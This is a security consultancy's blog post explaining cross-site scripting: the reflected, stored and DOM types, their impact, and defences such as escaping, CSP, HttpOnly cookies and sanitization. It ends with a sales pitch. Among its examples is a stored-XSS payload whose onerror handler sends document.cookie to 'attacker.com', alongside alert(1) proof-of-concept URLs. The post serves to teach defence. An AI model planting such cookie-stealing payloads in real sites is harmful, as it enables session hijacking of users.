Back to Blog
Vulnerabilities

XSS (Cross-Site Scripting): How Companies Get Compromised Through Frontend Flaws

XSS remains one of the most exploited vulnerabilities on the modern web. Learn the types of XSS, their real-world impact, and how to protect applications properly.

Lucca Lo Presti
5/12/2026
18 min read
XSSCross-Site ScriptingOWASPPentestCybersecurityWeb SecurityJavaScript
XSS (Cross-Site Scripting): How Companies Get Compromised Through Frontend Flaws
DIRECT ANSWER

What is XSS (Cross-Site Scripting)?

XSS is a vulnerability that lets attackers inject malicious scripts (usually JavaScript) into web pages viewed by other users. It can lead to cookie and session theft, malicious redirects, or unauthorized actions performed on the victim's behalf.

XSS (Cross-Site Scripting) remains one of the most common vulnerabilities found in modern web applications.

Although many developers associate XSS with nothing more than a simple alert(1), in practice this vulnerability can enable session theft, account compromise, actions performed on behalf of the user, and even partial control of the application.

In many modern pentests, XSS flaws keep showing up in admin panels, SaaS platforms, CRMs, financial applications, and internal systems.

Why is XSS still so dangerous?
  • It executes code directly in the victim's browser
  • It can compromise authenticated sessions
  • It frequently affects administrative users
  • It is extremely common in modern applications
  • It can be chained with other vulnerabilities

What Is XSS?

XSS occurs when an application renders user-controlled data without proper escaping or sanitization.

This allows JavaScript code to be executed directly in the victim's browser.

In practice, the browser interprets the injected payload as a legitimate part of the application.

The Problem Goes Far Beyond alert(1)

During security testing, the alert(1) payload is normally used only as a proof of concept.

The real impact usually involves:

  • Theft of authenticated sessions
  • Actions performed on behalf of the victim
  • Capture of JWT tokens
  • Partial MFA bypass
  • Phishing inside the application itself
  • Compromise of admin panels

A Real-World Example Found in Applications

An extremely common scenario involves comment features, chats, tickets, or profile fields.


<div class="comment">
    {{ userComment }}
</div>

If the application renders content without proper escaping, an attacker can inject:


<img src=x onerror="fetch('https://attacker.com?cookie='+document.cookie)">
    

When another user views the page, the browser will automatically execute the payload.

The Main Types of XSS

1. Reflected XSS

The payload is sent in the request and immediately reflected back by the application.

Common example


https://site.com/search?q=<script>alert(1)</script>
    

This type usually relies on social engineering, phishing, or sending malicious links.


2. Stored XSS

The payload is permanently stored by the application.

This is one of the most dangerous scenarios, because any user who opens the vulnerable page will automatically execute the payload.

Common locations

  • Comments
  • Chats
  • Ticketing systems
  • User profiles
  • Admin panels

3. DOM-Based XSS

In this case, the vulnerability exists entirely in the frontend.


const name = location.hash.substring(1);

document.getElementById('output').innerHTML = name;
    

An attacker can exploit it with:


https://site.com/#<img src=x onerror=alert(1)>
    

DOM XSS is extremely common in modern SPA applications.

Real-World Impact of XSS

  • Cookie theft
  • Session hijacking
  • Execution of administrative actions
  • Exposure of JWT tokens
  • Credential capture
  • Internal pivoting
  • Advanced phishing
  • Persistence inside the application

Why Do Modern Applications Remain Vulnerable?

Even modern frameworks still carry risk when used incorrectly.

Frequently found problems

  • Unsafe use of innerHTML
  • Use of dangerouslySetInnerHTML in React
  • Rendering of unsafe markdown
  • Partial sanitization
  • Over-reliance on the frontend
  • Vulnerable libraries

How to Prevent XSS Properly

1. Output Escaping

The primary defense against XSS is still proper context-aware escaping.

❌ Vulnerable

element.innerHTML = userInput;
        
✅ Secure

element.textContent = userInput;
        

2. Avoid innerHTML Whenever Possible

A large share of the DOM XSS found in modern applications involves unsafe use of innerHTML.


3. Implement CSP (Content Security Policy)

CSP significantly reduces the impact of XSS.


Content-Security-Policy:
default-src 'self';
script-src 'self';
object-src 'none';
base-uri 'self';
    

CSP does not replace sanitization, but it adds an extremely important layer of protection.


4. HttpOnly Cookies

HttpOnly cookies help reduce session theft via JavaScript.


Set-Cookie:
session=abc123;
HttpOnly;
Secure;
SameSite=Strict
    

5. HTML Sanitization

When user-controlled HTML is genuinely required, use trusted sanitization libraries.

  • DOMPurify
  • sanitize-html
  • OWASP Java HTML Sanitizer

Tools Used for XSS Testing

  • Burp Suite Professional
  • OWASP ZAP
  • XSStrike
  • Dalfox
  • Caido

XSS Protection Checklist

  • [ ] Outputs use context-aware escaping
  • [ ] The application avoids innerHTML
  • [ ] CSP is implemented
  • [ ] Cookies use HttpOnly
  • [ ] Inputs are validated
  • [ ] HTML is sanitized correctly
  • [ ] Frameworks are up to date
  • [ ] Pentests are performed regularly

Conclusion

XSS remains extremely prevalent in modern applications, especially in complex systems, SPA applications, admin panels, and SaaS platforms.

In many cases, the problem is not a total absence of protection, but rather small insecure spots scattered across the application.

Protecting against XSS requires continuous validation, code review, and a deep understanding of how the frontend handles user-controlled data.

Need to Assess Your Application's Security?

LoPrestiSec performs Web Pentests, Code Reviews, and assessments focused on modern vulnerabilities, including Stored XSS, DOM-Based XSS, and advanced frontend flaws.

  • Web Pentest
  • Code Review
  • API Security
  • Cloud Security Assessment
  • Threat Modeling

Get in touch to assess the security of your application.


❓ Frequently Asked Questions

Get answers to the most common questions

There are three main types: (1) Reflected XSS - the malicious script comes from the current HTTP request, (2) Stored XSS - the script is stored on the server (the most dangerous), (3) DOM-based XSS - the vulnerability lives in client-side JavaScript code.
Test by entering common payloads such as <script>alert('XSS')</script> into input fields. If the alert fires, there is a vulnerability. For thorough testing, a professional pentest with specialized tools is recommended.
CSP is a highly effective additional layer of protection against XSS, but it is not 100% foolproof. It should be used together with input sanitization and output encoding.

Still have questions? Reach out to us through the contact form or via WhatsApp.

Last updated: 5/12/2026
Author: Lucca Lo Presti - Offensive Security Specialist

Need Professional Security Help?

LoPrestiSec delivers end-to-end penetration testing, security consulting and LGPD compliance services. More than 200 companies trust our work.

Get in Touch →